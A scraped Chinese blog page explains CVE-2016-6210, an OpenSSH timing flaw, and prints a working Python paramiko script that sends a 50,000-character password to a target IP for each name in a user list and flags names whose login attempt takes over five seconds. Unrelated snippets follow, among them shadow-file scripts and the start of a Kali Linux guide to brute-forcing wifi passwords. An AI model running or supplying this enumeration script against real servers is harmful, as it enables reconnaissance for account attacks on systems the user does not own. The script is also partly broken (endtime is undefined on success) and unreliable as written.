OpenSSH利用处理畸形长度密码造成的时间差,枚举系统用户(CVE-2016-6210)

受影响版本:

opensshd(< =最新版本)

CVE-2016-6210

漏洞描述:

当我们使用ssh客户端去连接服务端的时候,如果向服务端发送一个大于10KB的密码,由于OpenSSH服务端会对user:password的组合,使用加密算法SHA256/SHA512进行加密。
如果我们传输的是一个不存在的用户名,那么就不会进入sha256(user,password)加密流程,如果用户名存在,服务器将会针对这个10KB大的密码进行SHA256的加密,这里就会产生时间差。

测试脚本:

import paramiko
import time
import sys
from fileutils import FileUtils

def get_user(ip,user):

    p=‘A‘*50000
    ssh = paramiko.SSHClient()
    starttime=time.clock()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip, username=user, password=p)
    except:
        endtime=time.clock()

    total=endtime-starttime
    return (total) 

if __name__ == ‘__main__‘:
    ip = sys.argv[1]
    for user in FileUtils.getLines(‘user.lst‘):
        try:
            i = get_user(ip,user)
        except Exception,e:
            print str(e)
        if i > 5.0:
            print ‘%s : %s : %s found‘ % (ip , user,i)
        else:
            print ‘%s : %s : %s no found‘ % (ip,user,i)

时间: 2024-08-03 14:08:12

OpenSSH利用处理畸形长度密码造成的时间差,枚举系统用户(CVE-2016-6210)的相关文章

js中利用cookie实现记住密码功能

js中利用cookie实现记住密码功能 在登录界面添加记住密码功能,我首先想到的是在java后台中调用cookie存放账号密码,大致如下: 1 HttpServletRequest request 2 HttpServletResponse response 3 Cookie username = new Cookie("username ","cookievalue"); 4 Cookie password = new Cookie("password

完成一个登陆页面。(用户名:F11;密码:123456)。要求用户输入用户 名和密码,验证是否等于正确值。如果等于告知登陆成功,程序结束;否则告 知用户名密码有误。用户三次输入不正确,告知登陆失败,程序结束 。

#include <stdio.h>#include <string.h> /*完成一个登陆页面.(用户名:F11:密码:123456).要求用户输入用户名和密码,验证是否等于正确值.如果等于告知登陆成功,程序结束:否则告知用户名密码有误.用户三次输入不正确,告知登陆失败,程序结束 .*/ void main(){ char username[20]; char password[20]; int i = 0; for(i = 0; i < 3; i++) { printf(

密码正确无法登陆Linux系统

用户名密码都正确却不能登录Linux服务器这,最可能有以下几种: 1.磁盘空间满了无法登录Linux服务器.重启服务器试试或者删掉一些不必要的文件. 2.确实是密码忘记了,进入单用户模式改密码就行了. 3.在安装oracle 10G修改系统参数时,按文档要求修改 vi /etc/pam.d/login 添加下面语句 session required /lib/security/pam_limits.so 如果本地用户不能登录系统:如下解决: 将/etc/pam.d/login里面的最后一行:"s

给定一个用户,获取其密码警告期限;而后判断用户密码使用期限是否已经小于警告期限

if 给定一个用户,获取其密码警告期限:而后判断用户密码使用期限是否已经小于警告期限:    提示:计算方法,最长使用期限减去已经使用的天数即为剩余使用期限:    如果小于,则显示"Warning":否则,就显示"OK".   #!/bin/bash W=`grep"student" /etc/shadow | cut -d: -f6` S=`date+%s` T=`expr$S/86400` L=`grep"^student&quo

给定一个用户,获取其密码警告期限; 而后判断用户密码使用期限是否已经小于警告期限;

需求: 给定一个用户,获取其密码警告期限: 而后判断用户密码使用期限是否已经小于警告期限: #!/bin/bash USERNAME=user1 Warndays=`grep "\$USERNAME" /etc/shadow  | cut -d : -f 6` Nowsecs=`date +%s` let Nowdays=$Nowsecs/86400 echo "nowday is $Nowdays" Moddays=`grep "\$USERNAME&q

批量创建10个系统用户,并且设置随机数密码

linux生成随机密码有很多方法,这里介绍两种,一种是内部系统变量($RANDOM),另一种是使用openssl. 内部系统变量($RANDOM)直接echo就可以获取到一组随机数: # echo $RANDOM 30468 获取8位随机数: #echo $RANDOM|md5sum |cut -c 1-8 393c839b 使用openssl命令获取随机数: # openssl rand -base64 8 qpIpWLYS6Yk= 获取8位随机数: # openssl rand -base6

不修改用户密码的前提下,解锁用户

不修改用户密码的前提下,解锁用户 1.0需求:某用户通知,无法登陆,用户被锁定,但是密码不知道 或者 不告诉你 1.1:用户被锁定:几种可能性 A用户使用默认Pfile概要文件,其中参数: -- PASSWORD_LIFE_TIME 180          密码有效保留时间 B用户使用默认Pfile概要文件,其中参数: -- FAILED_LOGIN_ATTEMPTS 10        登录失败后,允许尝试登录的次数 -- PASSWORD_LOCK_TIME   1      登录失败后,

PostgreSQL远程连接配置管理/账号密码分配(解决:致命错误: 用户 &quot;postgres&quot; Ident 认证失败)

问题:致命错误: 用户 "postgres" Ident 认证失败 说明:这个是由于没有配置远程访问且认证方式没改造成的,只需要更改使用账号密码认证即可. 解决:找到pg_hba.conf(find / -name pg_hba.conf),METHOD的ident修改为md5,且把ip端改为0.0.0.0/0,或者想要的IP地址即可.修改完成后直接reload即可. 特别吐槽:网上说直接trust,其实这个意思是只验证用户名,不验证密码!千万不要这样使用!!! METHOD指定如何处

利用kali破解wifi密码

准备工具 1.笔记本 2.USB无线上网卡(必备) 3.kali系统 4.密码字典 第一种方法 暴力破解法 何为暴力破解呢,其实就是一个一个密码去试,直到正确的密码. 现在的wifi一般加密都是: 1. WEP(有线等效加密)——采用WEP64位或者128位数据加密. 2.WPA-PSK[TKIP]———采用预共享秘钥的WI-FI保护访问,采用WPA-PSK标准加密技术,加密类型为TKIP. 3.WPA-PSK[TKIP]+WPA2-PSK[AES]———允许客户端使用WPA-PSK[TKIP]